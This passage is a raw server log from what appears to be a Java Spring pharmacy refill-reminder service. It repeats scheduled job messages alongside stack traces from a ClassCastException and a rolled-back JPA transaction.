org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 03:40:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 03:40:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 03:45:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 03:45:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 03:45:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 03:45:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 03:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 03:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 03:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 03:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 03:45:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 03:45:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 03:45:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 03:45:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 03:45:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 03:45:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 03:50:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 03:50:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 03:50:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 03:50:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 03:50:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 03:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 03:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 03:50:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 03:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 03:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 03:50:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 03:50:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 03:50:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 03:50:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 03:55:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 03:55:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 03:55:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 03:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 03:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 03:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 03:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 03:55:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 03:55:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 03:55:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 03:55:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 03:55:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 03:55:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 03:55:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 04:00:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 04:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 04:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 04:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 04:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 04:00:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 04:00:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 04:00:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 04:00:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 04:00:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 04:00:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 